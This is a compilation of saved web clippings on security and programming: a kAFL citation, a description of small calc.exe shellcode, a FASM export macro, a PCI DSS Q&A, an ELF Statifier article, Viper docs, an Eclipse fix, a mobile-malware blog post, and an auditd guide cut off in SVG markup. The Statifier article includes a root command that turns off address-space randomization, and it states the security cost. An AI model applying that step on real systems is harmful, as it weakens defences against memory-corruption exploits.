
    @inproceedings{schumilo2017kafl,
        author = {Schumilo, Sergej and Aschermann, Cornelius and Gawlik, Robert and Schinzel, Sebastian and Holz, Thorsten},
        title = {{kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels}},
        year = {2017},
        booktitle = {USENIX Security Symposium} 
    }
    
[/code]

  

# win-exec-calc-shellcode - A small, null-free Windows shellcode that executes
calc.exe \(x86/x64, all OS/SPs\) - Google Project Hosting

**Created:**| _9/3/2011 11:30:00 AM_  
---|---  
**Updated:**| _9/3/2011 11:30:00 AM_  
**Author:**| __  
**Tags:**| _shellcode windows_  
  

Three small null-free shellcodes for x86 and x64 versions of Windows 5.0-6.1
\(2000, XP, 2003, 2008, 7\) all service packs that executes calc.exe.

Sizes \(build 122\):

  * x86: 75 bytes \(80 with stack alignment\) 
  * x64: 77 bytes \(82 with stack alignment\) 
  * x86+x64: 156 bytes \(161 with stack alignment\) 

Features:

  * NULL Free 
  * Windows version and service pack independant. 
  * No assumptions are made about the values of registers. 
  * x86: "/3GB" compatible: pointers are not assume to be smaller than 0x80000000. 
  * DEP/ASLR compatible: data is not executed, code is not modified. 
  * Runs on x86 \(w32-exec-calc-shellcode\), x64 \(w64-exec-calc-shellcode\) or both \(win-exec-calc-shellcode\). 

# System Programming: Flat Assembler "Export" Macro with Custom Ordinal Base

**Created:**| _1/22/2012 7:40:15 PM_  
---|---  
**Updated:**| _1/22/2012 7:40:15 PM_  
**Author:**| __  
**Tags:**| _asm programming_  
  

### Flat Assembler "Export" Macro with Custom Ordinal Base

I have recently come across the need to build dynamic link libraries with
custom ordinal base \(different from 1\). After searching the net and seeing
lots of people writing their own export macros, I came to a conclusion that
Occam's Razor principle still works here and decided to make simple
modifications to the original export macro provided with FASM package. The
modifications are marked with red.  
  
  
; Macroinstruction for making export section  
macro export dllname, ordinalbase, \[label, string\]  
\{ common  
local module,addresses,names,ordinal,count  
count = 0  
forward  
count = count+1  
common  
dd 0,0,0,RVA module, ordinalbase  
dd count,count,RVA addresses,RVA names,RVA ordinal  
addresses:  
forward  
dd RVA label  
common  
names:  
forward  
local name  
dd RVA name  
common  
ordinal: count = 0  
forward  
dw count  
count = count+1  
common  
module db dllname,0  
forward  
name db string,0  
common  
local x,y,z,str1,str2,v1,v2  
x = count shr 1  
while x > 0  
y = x  
while y < count  
z = y  
while z-x >= 0  
load v1 dword from names+z\*4  
str1=\($-RVA $\)+v1  
load v2 dword from names+\(z-x\)\*4  
str2=\($-RVA $\)+v2  
while v1 > 0  
load v1 from str1+%-1  
load v2 from str2+%-1  
if v1 <> v2  
break  
end if  
end while  
if v1<v2  
load v1 dword from names+z\*4  
load v2 dword from names+\(z-x\)\*4  
store dword v1 at names+\(z-x\)\*4  
store dword v2 at names+z\*4  
load v1 word from ordinal+z\*2  
load v2 word from ordinal+\(z-x\)\*2  
store word v1 at ordinal+\(z-x\)\*2  
store word v2 at ordinal+z\*2  
else  
break  
end if  
z = z-x  
end while  
y = y+1  
end while  
x = x shr 1  
end while \}  
  
  
As simple as that.  
Hope this note may help someone.

# Answering Some Dream Team Questions

**Created:**| _5/23/2017 1:02:11 PM_  
---|---  
**Updated:**| _5/23/2017 1:02:11 PM_  
**Author:**| __  
**Tags:**| _compliance pci-dss_  
  

  

### Answering Some Dream Team Questions

By PCIGuru Leave a Comment

Categories: Card Brands, PCI DSS, PCI P2PE, PCI PTS and PCI SSC  

After our PCI Dream Team event on May 17, I thought I would take some
questions that do not require long and involved answers and publish them in
this post. FYI – I have edited and spell checked these, so they likely do not
look like you entered them but they should convey your questions as you asked
them. Hopefully I answered on of your questions.

**Q:** Does anything special need to be done with the use of Virtual
Terminals? We use the virtual terminals to manually enter credit cards from
time to time. The computers used are normal user computers with the basic
security done, but I have been wondering if they need to have extra
limitations or security put in?

**A:** There are a lot of solutions that imply they take the
workstation/terminal out of scope or magically reduce scope when using virtual
desktop \(VDI\) solutions. None of it is true. If a device is used to enter
PAN \(regardless of HOW\), it is a Category 1 device because it is used to
enter PAN. The bottom line is that any device used to enter PAN is in-scope
for full PCI compliance. There is no “magic” to change that fact.

**Q:** Do all POI devices have a keypad? I’m thinking of PC’s with integrated
MCR’s – will those all change to separate POI’s with a keypad?

**A:** All point of interaction \(POI\), aka card terminals, that are customer
facing have a keypad because they need to be able to accept PIN entry.
Merchants that are going to P2PE/E2EE solutions end up with a separate POI
that is connected to the POS PC/terminal via USB so that the POS solution can
communicate the total price of the sale as well as to know if the transaction
is approved or declined. The POI securely communicates with the transaction
processor over Ethernet or using the USB connection and the Ethernet
connection of the POS PC. In both cases, the POS PC never has access to the
sensitive authentication data \(SAD\)/cardholder data \(CHD\) as it is
encrypted at the POI. However is using an E2EE solution, the QSA will need to
validate that the E2EE solution to ensure that they do in fact encrypt at the
POI and therefore the POS PC/terminal is out of scope. In addition, the
merchant will have to contact their acquiring bank to get formal approval that
the E2EE solution gives scope reduction for the merchant. This will likely
require the QSA to provide their evidence and assessment procedures to the
acquiring bank for that approval.

**Q:** Are administrator workstations always in scope for PCI DSS regardless
if an administrator is connecting to CDE servers via jump box?

**A:** Yes, because they are “connected to” systems when they access the jump
box. They may not be entering cardholder data \(CHD\), but they likely can
access it or influence its processing/transmission because they are
administrators. That said, I would treat them in the Open PCI Scoping Toolkit
vernacular as a Category 2x system. That means they can probably avoid the
bulk of PCI requirements but, at a minimum, need to be properly security
hardened, kept updated, have anti-virus/anti-malware and are monitored
“periodically”. And as a reminder, administrators will need to use multi-
factor authentication \(MFA\) after January 31, 2018 when accessing the
cardholder data environment \(CDE\).

**Q:** Are you having/forcing your clients to follow the December scoping
guidance, and are you bringing administrator workstations into scope?

**A:** I guess I am curious as to when anyone would have thought that
administrator workstations ever were out of scope? Nothing has changed in that
regard as they were always in scope for PCI compliance.

**Q:** Are “crash kits” in restaurants for use when the system is down in
scope for compliance?

**A:** The kits themselves are not in scope, but when they get used, the forms
that get generated which contain the embossed image or handwritten PAN and
other sensitive authentication data \(SAD\)/cardholder data \(CHD\) place
those forms in scope for PCI compliance. They therefore need to be securely
stored, securely transmitted and subsequently securely destroyed in accordance
to the relevant requirements in section 9.

**Q:** Does pushing non-cardholder data out of CDE system excludes connected
system out of PCI scope? For example pushing non-cardholder data such as CPU
usage for monitoring or number of transactions per day used for reporting etc.

**A:** According to a discussion at the 2016 Community Meeting and a
subsequent Assessor call, the Council has publicly stated that if it can be
unequivocally proven that the flow is only outbound from the cardholder data
environment \(CDE\) to a device and that the data does not contain cardholder
data \(CHD\), that device can be ruled out of scope. However you have to get
your QSA to buy into that argument and I do not know too many QSAs that will
agree with that decision. In my experience, there is still too much of a risk
that cardholder data \(CHD\) could leak through that flow and saying it is out
of scope is not accurate nor is it good practice as it leads to an
exfiltration point that is not monitored. The question you have to ask
yourself is, how will it look in that newspaper headline when your
organization is breached that you ruled it out of scope because it was
outbound only?

**Q:** PCI DSS requires a firewall in place, are host level firewalls meeting
that requirement?

**A:** Yes, as long as they perform stateful packet inspection \(SPI\), they
are properly and securely configured and they are appropriately monitored like
any other in scope firewall.

**Q:** Regarding vulnerability assessments for internal scans, do we have to
address medium vulnerabilities or only critical and high vulnerabilities?

**A:** The PCI DSS and the Council have been very clear on this which is why
it is disconcerting when this question constantly gets asked. The guidance for
requirement 6.2 is very clear as it states, “Consider prioritizing patch
installations such that security patches for critical or at-risk systems are
installed within 30 days, and other lower-risk patches are installed within
2-3 months.” The bottom line is that you need to apply ALL patches/updates to
all in scope systems as soon as possible. So get on with patching and updates,
no excuses.

**Q:** More than once I’ve been told that the decision to implement PCI
compliant controls is a financial decision. What are the expected fines and
penalties for failing?

**A:** No organization gets to ignore any PCI requirement because of financial
or any other reasons. However in those cases where a requirement cannot be
directly met, an organization must then come up with compensating controls
that go above and beyond that requirement in order to be in compliance. In my
experience, it is almost always cheaper to meet the PCI requirement than to go
the compensating control worksheet approach. You will have to talk to the card
brands as they are the ones that come up with the fines and penalties.

**Q:** Do you ever foresee the card brands implementing any sort safe harbor
clauses in regard to PCI? If a merchant is doing their best to be secure and
\(more importantly, as far as PCI is concerned\) compliant and they are
breached, as it stands right now, PCI will not help you. Instead, PCI seems to
be wielded as a weapon to extract fines from the merchant.

**A:** You are joking right? LOL\! Actually, with merchants going to P2PE/E2EE
and tokenization solutions, I could envision changes in the PCI compliance
process at the merchant level because the risk is only with the POI. Time will
tell.

**Q:** Have you heard anything further regarding the FTC’s review of PCI?

**A:** Not a word and I would not expect to hear anything until the FTC
decides to tell us anything. I do know that issues regarding the FTC’s
information requests from the QSACs were supposedly worked out and that the
requested information was delivered to the FTC. But that is the extent of my
knowledge on the matter.

  

# Linux.com :: Quickly move an executable between systems with ELF Statifier

**Created:**| _1/8/2011 3:29:26 PM_  
---|---  
**Updated:**| _1/8/2011 3:29:40 PM_  
**Author:**| __  
**Tags:**| _Linux awesome binary search_  
  

### Quickly move an executable between systems with ELF Statifier

By Ben Martin on October 23, 2008 \(9:00:00 AM\)

**Share** <img src='img/Temp2_4944' /> **Print** <img src='img/Temp2_4943' />
**Comments**

Shared libraries that are dynamically linked make more efficient use of disk
space than those that are statically linked, and more importantly allow you to
perform security updates in a more efficient manner, but executables compiled
against a particular version of a dynamic library expect that version of the
shared library to be available on the machine they run on. If you are running
machines with both Fedora 9 and openSUSE 11, the versions of some shared
libraries are likely to be slightly different, and if you copy an executable
between the machines, the file might fail to execute because of these version
differences. With ELF Statifier you can create a statically linked version of
an executable, so the executable includes the shared libraries instead of
seeking them at run time. A staticly linked executable is much more likely to
run on a different Linux distribution or a different version of the same
distribution.

Of course, to do this you sacrifice some disk space, because the statically
linked executable includes a copy of the shared libraries that it needs, but
in these days of terabyte disks the space consideration is less important than
the security one. Consider what happens if your executables are dynamically
linked to a shared library, say libfoo, and there is a security update to
libfoo. When your applications are dynamically linked you can just update the
shared copy of libfoo and your applications will no longer be vulnerable to
the security issue in the older libfoo. If on the other hand you have a
statically linked executable, it will still include and use its own private
copy of the old libfoo. You'll have to recreate the statically linked
executable to get the newer libfoo and security update.

Still, there are times when you want to take a daemon you compiled on a Fedora
machine and run it on your openSUSE machine without having to recompile it and
all its dependencies. Sometimes you just want it to execute _now_ and can
rebuild it later if desired. Of course, the machine you copy the executable
from and the one on which you want to run it must have the same architecture.

ELF Statifier is packaged as a 1-Click install for openSUSE 10.3 but not for
Ubuntu Hardy or Fedora. I'll use version 1.6.14 of ELF Statifier and build it
from source on a Fedora 9 x86 machine. ELF Statifier does not use autotools,
so you compile by simply invoking `make`. Compilation and installation is
shown below.

$ tar xzvf statifier-1.6.14.tar.gz $ cd ./statifier-\* $ make $ sudo make
install

As an example of how to use the utility, I'll create a statically linked
version of the `ls` binary in the commands shown below. First I create a
personal copy of the dynamically linked executable and inspect it to see what
it dynamically links to. You run statifier with the path to the dynamically
linked executable as the first argument and the path where you want to create
the statically linked executable as the second argument. Notice that the `ldd`
command reports that no dynamically linked libraries are required by ls-
static. The next command shows that the binary size has grown significantly
for the static version of ls.

$ mkdir test $ cd ./test $ cp -a /bin/ls ls-dynamic $ ls -lh -rwxr-xr-x 1 ben
ben 112K 2008-08-01 04:05 ls-dynamic $ ldd ls-dynamic linux-gate.so.1 =>
\(0x00110000\) librt.so.1 => /lib/librt.so.1 \(0x00a3a000\) libselinux.so.1 =>
/lib/libselinux.so.1 \(0x00a06000\) libacl.so.1 => /lib/libacl.so.1
\(0x00d8a000\) libc.so.6 => /lib/libc.so.6 \(0x0084e000\) libpthread.so.0 =>
/lib/libpthread.so.0 \(0x009eb000\) /lib/ld-linux.so.2 \(0x0082e000\)
libdl.so.2 => /lib/libdl.so.2 \(0x009e4000\) libattr.so.1 => /lib/libattr.so.1
\(0x0606d000\) $ statifier ls-dynamic ls-static $ ldd ls-static not a dynamic
executable $ ls -lh ls-static -rwxr-x--- 1 ben ben 2.0M 2008-10-03 12:05 ls-
static $ ls-static /tmp ... $ ls-static -lh Segmentation fault

As you can see above, the statified ls crashes when you run it with the `-l`
option. If you get segmentation faults when running your statified executables
you should disable stack randomization and recreate the statified executable.
The stack and address space randomization feature of the Linux kernel makes
the locations used for the stack and other important parts of an executable
change every time it is executed. Randomizing things each time you run a
binary hinders attacks such as the return-to-libc attack because the location
of libc functions changes all the time.

You are giving away some security by changing the randomize\_va\_space
parameter as shown below. The change to randomize\_va\_space affects not only
attacks on the executables themselves but also exploit attempts that rely on
buffer overflows to compromise the system. Without randomization, both attacks
become more straightforward. If you set randomize\_va\_space to zero as shown
below and recreate the ls-static binary, things should work as expected.
You'll have to leave the stack randomization feature disabled in order to
execute the statified executable.

\# cd /proc/sys/kernel \# cat randomize\_va\_space 2 \# echo -n 0 >|
randomize\_va\_space \# cat randomize\_va\_space 0

There are a few other tricks up statifier's sleeve: you can set or unset
environment variables for the statified executable, and include additional
libraries \(LD\_PRELOAD libraries\) into the static executable. Being able to
set additional environment variables for a static executable is useful when
the binary you are statifying relies on finding additional resources like
configuration files. If the binary allows you to tell it where to find its
resources through environment variables, you can include these settings
directly into the statified executable.

The ability to include preloaded shared libraries into the statified binary
\(LD\_PRELOADing\) is probably a less commonly used feature. One use is
including additional functionality such as making the statically linked
executable "trashcan friendly" by default, perhaps using delsafe, but without
needing to install any additional software on the machine that is running the
statically linked executable.

Security measures that randomize the address space of binaries might interfere
with ELF Statifier and cause it not to work. But when you just want to move
the execution of an application to another Linux machine, ELF Statifier might
get you up and running without the hassle of a recompile.

_Ben Martin has been working on filesystems for more than 10 years. He
completed his Ph.D. and now offers consulting services focused on libferris,
filesystems, and search solutions._

**Share** <img src='img/Temp2_4944' /> **Print** <img src='img/Temp2_4943' />
**Comments**

#### Related Links

**Other articles in category System Administration:**

  * Nix fixes dependency hell on all Linux distributions Dec 22, 2008
  * Where has my disk space gone? Dec 17, 2008
  * Keeping an eye on your Web proxy usage with Squid Graph Dec 05, 2008
  * KNDISwrapper is half-done, but far from half-baked Dec 03, 2008
  * Three graphical mount managers Dec 02, 2008

# Official Documentation — Viper 1.0 documentation

**Created:**| _7/18/2014 9:30:32 AM_  
---|---  
**Updated:**| _7/18/2014 9:30:32 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# Official Documentation¶

## What is Viper?¶

Viper is a binary analysis and management framework. Its fundamental objective
is to provide a solution to easily organize your collection of malware and
exploit samples as well as your collection of scripts you created or found
over the time to facilitate your daily research. Think of it as a _Metasploit_
for malware researchers: it provides a terminal interface that you can use to
store, search and analyze arbitraty files with and a framework to easily
create plugins of any sort.

Viper is released under BSD 3-Clause license and is copyrighted by Claudio
Guarnieri. The source code is available on GitHub, where also all development
efforts and contributions are coordinated. For questions and inquiries, you
can find the author’s contact details here.

# linux:eclipseintegratedbrowser \[Kurtis Ecke\]

**Created:**| _2/22/2010 3:37:52 PM_  
---|---  
**Updated:**| _2/22/2010 3:39:23 PM_  
**Author:**| __  
**Tags:**| _programming Duuuuh Eclipse_  
  

# Problem

Eclipse sucht beim Start nach der Datei “libgtkembedmoz.so”. Wenn dies nicht
installiert ist kommt diese Fehlermeldung: “integrated browser support not
working. This Eclipse build doesn't have support for the integrated browser.”

# Lösung

mit “root@mars:~\# find /usr/lib/ | grep libgtkembedmoz\* ” nach dieser Datei suchen. In meinem Fall war es unter ”/usr/lib/icedove/libgtkembedmoz.so” schon vorhanden. Falls nichtgefunden sollte Xulrunner installiert werden. Nun die Datei /usr/bin/eclipse anpassen:
[code]

    # Set path for the Mozilla SWT binding
    MOZILLA_FIVE_HOME=${MOZILLA_FIVE_HOME%*/}
    if false && [ -n "$MOZILLA_FIVE_HOME" -a -e $MOZILLA_FIVE_HOME/libgtkembedmoz.so ]; then
        :
    elif [ -e /usr/lib/mozilla/libgtkembedmoz.so ]; then
        export MOZILLA_FIVE_HOME=/usr/lib/mozilla
    elif [ -e /usr/lib/firefox/libgtkembedmoz.so ]; then
        export MOZILLA_FIVE_HOME=/usr/lib/firefox
    elif [ -e /usr/lib/xulrunner/libgtkembedmoz.so ]; then
        export MOZILLA_FIVE_HOME=/usr/lib/xulrunner
    elif [ -e /usr/lib/mozilla-firefox/libgtkembedmoz.so ]; then
        export MOZILLA_FIVE_HOME=/usr/lib/mozilla-firefox
    elif [ -e /usr/lib/icedove/libgtkembedmoz.so ]; then
        export MOZILLA_FIVE_HOME=/usr/lib/mozilla
    else
        $DIALOGW \
            --title="Integrated browser support not working" \
            --text="This Eclipse build doesn't have support for the integrated browser."
        [ $? -eq 0 ] || exit 1
    fi
[/code]

# Waiting for Mobile Malware Wave - F-Secure Weblog : News from the Lab

**Created:**| _6/16/2009 6:49:34 PM_  
---|---  
**Updated:**| _6/16/2009 6:49:48 PM_  
**Author:**| __  
**Tags:**| _Embedded Malware-analysis_  
  

**Waiting for Mobile Malware Wave**|  Posted by Alia @ 02:41 GMT |   
---|---  
* * *  
For the last couple years there has been talk – like this iGillotResearch
report \(in pdf\) – about how the convergence of mobile phones and the
Internet would unleash a new wave of threats targeted to the phone and
distributed over the Internet. We've definitely seen a number of attacks on
mobile network operators. Yet up until now, most users haven't been hit by
Internet-based attacks.  
  
For example, the Apple iPhone last year saw its first Trojan to be distributed
via the Internet. Still, that was more "script-kiddie prank program" than
"serious crimeware". Heck, it wasn't even the first Internet-based mobile
threat – technically, you could argue the 2006 Eliles.A worm has that
distinction. Halfway through 2009, there hasn't yet been any major outbreaks
of Internet-distributed mobile malware.  
  
So what's this, another bogeyman story about mobile security? Well kinda.
Today Apple announced the release of its iPhone 3G S model on June 19. It's
supposed to be faster, more feature-loaded and so on.  
  
<img src='img/Temp2_9058.jpg' alt='iphone' />\(source: att.com\)  
  
In offering a neat package of enhanced phone, easy surfing with the onboard
Safari browser and the appeal of a huge variety of programs from the App
store, Apple looks set to spur even more people into into getting online via
their mobile phones.  
  
And as seems to be the case with mobile phones these days – where Apple leads,
others will follow. Most mobile phone producers have been racing to provide
the same level of online browsing user-friendliness in their products. If they
get it right, that means even more users picking up mobile surfing.  
  
Which means that malware authors will have even more reason to start targeting
the mobile phone. Let's hope's the phone producers and mobile network
operators consider that first Trojan a kind of "warning shot" and set up some
strong security measures.  
  
For now, it seems like all is quiet on the mobile front.  
  
On an unrelated note, the new iPhone model also formally introduces an
Internet Tethering functionality allowing users to connect a computer to the
phone and surf the Internet – no Wi-Fi hotspot required. Some users have been
asking for the feature for a while now, so – wish granted. Enjoy\!  

# How to enable and configure Auditd on CentOS 7

**Created:**| _3/8/2019 7:45:42 PM_  
---|---  
**Updated:**| _3/8/2019 7:45:42 PM_  
**Author:**| __  
**Tags:**| _hardending auditing log-management_  
  

  

<img src='data:image/svg+xml,%3csvg class='svg-symbol js-evernote-checked'
data-evernote-id='183'%3e%3csymbol id='comment-bubble' viewBox='0 0 32
27.4'%3e%3cpath
d='M16%2c0c8.8%2c0%2c16%2c5.3%2c16%2c11.9c0%2c2.9-2.2%2c6.3-4.6%2c8.3l2.3%2c7.2l-6.9-4.7c-2.1%2c0.7-4.3%2c1.1-6.8%2c1.1
c-8.8%2c0-16-5.3-16-11.9C0%2c5.3%2c7.2%2c0%2c16%2c0z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='speech-bubbles' viewBox='0 0 24 24'%3e%3cpath d='M19.619 21.671c-5.038
1.227-8.711-1.861-8.711-5.167 0-3.175 3.11-5.467 6.546-5.467 3.457 0 6.546
2.309 6.546 5.467 0 1.12-.403 2.22-1.117 3.073-.029 1 .558 2.435 1.088
3.479-1.419-.257-3.438-.824-4.352-1.385zm-10.711-5.167c0-4.117 3.834-7.467
8.546-7.467.886 0 1.74.119 2.544.338-.021-4.834-4.761-8.319-9.998-8.319-5.281
0-10 3.527-10 8.352 0 1.71.615 3.391 1.705 4.695.047 1.527-.851 3.718-1.661
5.313 2.168-.391 5.252-1.258 6.649-2.115.803.196 1.576.304
2.328.363-.067-.379-.113-.765-.113-1.16z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='instagram' viewBox='0 0 24 24'%3e%3cpath d='M21.231 0h-18.462c-1.529
0-2.769 1.24-2.769 2.769v18.46c0 1.531 1.24 2.771 2.769 2.771h18.463c1.529 0
2.768-1.24 2.768-2.771v-18.46c0-1.529-1.239-2.769-2.769-2.769zm-9.231
7.385c2.549 0 4.616 2.065 4.616 4.615 0 2.549-2.067 4.616-4.616
4.616s-4.615-2.068-4.615-4.616c0-2.55 2.066-4.615 4.615-4.615zm9 12.693c0
.509-.413.922-.924.922h-16.152c-.511
0-.924-.413-.924-.922v-10.078h1.897c-.088.315-.153.64-.2.971-.05.337-.081.679-.081
1.029 0 4.079 3.306 7.385 7.384 7.385s7.384-3.306
7.384-7.385c0-.35-.031-.692-.081-1.028-.047-.331-.112-.656-.2-.971h1.897v10.077zm0-13.98c0
.509-.413.923-.924.923h-2.174c-.511
0-.923-.414-.923-.923v-2.175c0-.51.412-.923.923-.923h2.174c.511 0
.924.413.924.923v2.175z' fill-rule='evenodd' clip-
rule='evenodd'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='email' viewBox='0 0 32
21'%3e%3cg%3e%3cpolygon points='32%2c19.5 32%2c1.3
23.1%2c10.4'%3e%3c/polygon%3e%3c/g%3e%3cg%3e%3cpath
d='M16.9%2c13.8L30.4%2c0h-29l13.5%2c13.9C15.4%2c14.4%2c16.3%2c14.4%2c16.9%2c13.8z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cpolygon
points='0%2c1.5 0%2c19.4 8.7%2c10.5'%3e%3c/polygon%3e%3c/g%3e%3cg%3e%3cpath
d='M18.3%2c15.3c-0.7%2c0.7-1.6%2c1-2.4%2c1c-0.9%2c0-1.7-0.3-2.4-1L10.2%2c12l-8.8%2c9h29.2l-8.9-9.2L18.3%2c15.3z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cpolygon
points='32%2c21 32%2c21
32%2c21'%3e%3c/polygon%3e%3c/g%3e%3c/symbol%3e%3csymbol id='facebook'
viewBox='0 0 15.2 32'%3e%3cpath
d='M15.2%2c11.1H9.6V7c0-1.2%2c1.3-1.5%2c1.9-1.5c0.6%2c0%2c3.6%2c0%2c3.6%2c0V0L11%2c0C5.4%2c0%2c4.1%2c4.1%2c4.1%2c6.7v4.4H0v5.6h4.1
c0%2c7.3%2c0%2c15.2%2c0%2c15.2h5.5c0%2c0%2c0-8.1%2c0-15.2h4.7L15.2%2c11.1z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='flipboard' data-name='flipboard' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 500 500'%3e%3cpath class='cls-1'
d='M0%2c0V500H500V0ZM400%2c200H300V300H200V400H100V100H400Z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='linkedin' viewBox='0 0 31.9 32'%3e%3cpath
d='M24%2c8c-5.1%2c0.1-7.7%2c3.8-8%2c4V8h-6v24h6V18c0-0.5%2c1.3-4.6%2c6-4c2.5%2c0.2%2c3.9%2c3.5%2c4%2c4v14l6%2c0V15.4
C31.7%2c13%2c30.5%2c8.1%2c24%2c8z M0%2c32h6V8H0V32z
M3%2c0C1.3%2c0%2c0%2c1.3%2c0%2c3s1.3%2c3%2c3%2c3c1.7%2c0%2c3-1.3%2c3-3S4.7%2c0%2c3%2c0z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='flipboard' data-name='flipboard' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 500 500'%3e%3cpath class='cls-1'
d='M0%2c0V500H500V0ZM400%2c200H300V300H200V400H100V100H400Z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='twitter' viewBox='0 0 32.5 28.4'%3e%3cpath
d='M32.5%2c3.4c-0.5%2c0.3-2.2%2c1-3.7%2c1.1c1-0.6%2c2.4-2.4%2c2.8-3.9c-0.9%2c0.6-3.1%2c1.6-4.2%2c1.6c0%2c0%2c0%2c0%2c0%2c0
C26.1%2c0.9%2c24.4%2c0%2c22.5%2c0c-3.7%2c0-6.7%2c3.2-6.7%2c7.2c0%2c0.6%2c0.1%2c1.1%2c0.2%2c1.6h0C11%2c8.7%2c5.1%2c6%2c1.8%2c1.3c-2%2c3.8-0.3%2c8%2c2%2c9.5
c-0.8%2c0.1-2.2-0.1-2.9-0.8c0%2c2.5%2c1.1%2c5.8%2c5.2%2c7c-0.8%2c0.5-2.2%2c0.3-2.8%2c0.2c0.2%2c2.1%2c3%2c4.9%2c6%2c4.9c-1.1%2c1.3-4.7%2c3.8-9.3%2c3
c3.1%2c2%2c6.7%2c3.2%2c10.5%2c3.2c10.8%2c0%2c19.2-9.4%2c18.7-21.1c0%2c0%2c0%2c0%2c0%2c0c0%2c0%2c0-0.1%2c0-0.1c0%2c0%2c0-0.1%2c0-0.1C30.2%2c6.4%2c31.5%2c5.1%2c32.5%2c3.4z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='youtube' viewBox='0 0 24 24'%3e%3cpath d='M4.652 0h1.44l.988
3.702.916-3.702h1.454l-1.665 5.505v3.757h-1.431v-3.757l-1.702-5.505zm6.594
2.373c-1.119 0-1.861.74-1.861 1.835v3.349c0 1.204.629 1.831 1.861 1.831 1.022
0 1.826-.683 1.826-1.831v-3.349c0-1.069-.797-1.835-1.826-1.835zm.531 5.127c0
.372-.19.646-.532.646-.351
0-.554-.287-.554-.646v-3.179c0-.374.172-.651.529-.651.39 0
.557.269.557.651v3.179zm4.729-5.07v5.186c-.155.194-.5.512-.747.512-.271
0-.338-.186-.338-.46v-5.238h-1.27v5.71c0 .675.206 1.22.887 1.22.384 0 .918-.2
1.468-.853v.754h1.27v-6.831h-1.27zm2.203 13.858c-.448
0-.541.315-.541.763v.659h1.069v-.66c.001-.44-.092-.762-.528-.762zm-4.703.04c-.084.043-.167.109-.25.198v4.055c.099.106.194.182.287.229.197.1.485.107.619-.067.07-.092.105-.241.105-.449v-3.359c0-.22-.043-.386-.129-.5-.147-.193-.42-.214-.632-.107zm4.827-5.195c-2.604-.177-11.066-.177-13.666
0-2.814.192-3.146 1.892-3.167 6.367.021 4.467.35 6.175 3.167 6.367 2.6.177
11.062.177 13.666 0 2.814-.192 3.146-1.893
3.167-6.367-.021-4.467-.35-6.175-3.167-6.367zm-12.324
10.686h-1.363v-7.54h-1.41v-1.28h4.182v1.28h-1.41v7.54zm4.846
0h-1.21v-.718c-.223.265-.455.467-.696.605-.652.374-1.547.365-1.547-.955v-5.438h1.209v4.988c0
.262.063.438.322.438.236 0 .564-.303.711-.487v-4.939h1.21v6.506zm4.657-1.348c0
.805-.301 1.431-1.106 1.431-.443
0-.812-.162-1.149-.583v.5h-1.221v-8.82h1.221v2.84c.273-.333.644-.608
1.076-.608.886 0 1.18.749 1.18 1.631v3.609zm4.471-1.752h-2.314v1.228c0
.488.042.91.528.91.511 0 .541-.344.541-.91v-.452h1.245v.489c0 1.253-.538
2.013-1.813 2.013-1.155 0-1.746-.842-1.746-2.013v-2.921c0-1.129.746-1.914
1.837-1.914 1.161 0 1.721.738 1.721
1.914v1.656z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='reddit' viewBox='0 0 24
24'%3e%3cpath d='M24 11.779c0-1.459-1.192-2.645-2.657-2.645-.715
0-1.363.286-1.84.746-1.81-1.191-4.259-1.949-6.971-2.046l1.483-4.669
4.016.941-.006.058c0 1.193.975 2.163 2.174 2.163 1.198 0 2.172-.97
2.172-2.163s-.975-2.164-2.172-2.164c-.92 0-1.704.574-2.021
1.379l-4.329-1.015c-.189-.046-.381.063-.44.249l-1.654
5.207c-2.838.034-5.409.798-7.3 2.025-.474-.438-1.103-.712-1.799-.712-1.465
0-2.656 1.187-2.656 2.646 0 .97.533 1.811 1.317
2.271-.052.282-.086.567-.086.857 0 3.911 4.808 7.093 10.719 7.093s10.72-3.182
10.72-7.093c0-.274-.029-.544-.075-.81.832-.447 1.405-1.312
1.405-2.318zm-17.224 1.816c0-.868.71-1.575 1.582-1.575.872 0 1.581.707 1.581
1.575s-.709 1.574-1.581 1.574-1.582-.706-1.582-1.574zm9.061
4.669c-.797.793-2.048 1.179-3.824 1.179l-.013-.003-.013.003c-1.777
0-3.028-.386-3.824-1.179-.145-.144-.145-.379 0-.523.145-.145.381-.145.526 0
.65.647 1.729.961 3.298.961l.013.003.013-.003c1.569 0 2.648-.315
3.298-.962.145-.145.381-.144.526 0 .145.145.145.379 0 .524zm-.189-3.095c-.872
0-1.581-.706-1.581-1.574 0-.868.709-1.575 1.581-1.575s1.581.707 1.581
1.575-.709 1.574-1.581 1.574z'%3e%3c/path%3e%3c/symbol%3e%3c/svg%3e' /><img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='svg-
symbol js-evernote-checked' data-evernote-id='184'%3e%3csymbol id='tr-
logotype' viewBox='0 0 500 119'%3e%3cg%3e%3cg%3e%3cg opacity='0.4'%3e%3cpath
d='M4.836%2c52.219l-1.898%2c9.499c0%2c0%2c11.475%2c6.566%2c19.227%2c23.654c6.813%2c15.013%2c8.47%2c31.416%2c8.47%2c31.416
l2.846-7.833c0%2c0-1.564-15.878-8.544-31.411C16.151%2c57.995%2c4.836%2c52.219%2c4.836%2c52.219z'%3e%3c/path%3e%3cpath
d='M4.836%2c52.219l-1.898%2c9.499c0%2c0%2c11.475%2c6.566%2c19.227%2c23.654c6.813%2c15.013%2c8.47%2c31.416%2c8.47%2c31.416
l2.846-7.833c0%2c0-1.564-15.878-8.544-31.411C16.151%2c57.995%2c4.836%2c52.219%2c4.836%2c52.219z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cpath
d='M4.836%2c51.719l-1.898%2c9.499c0%2c0%2c11.475%2c6.566%2c19.227%2c23.654c6.813%2c15.013%2c8.47%2c31.416%2c8.47%2c31.416l2.846-7.833
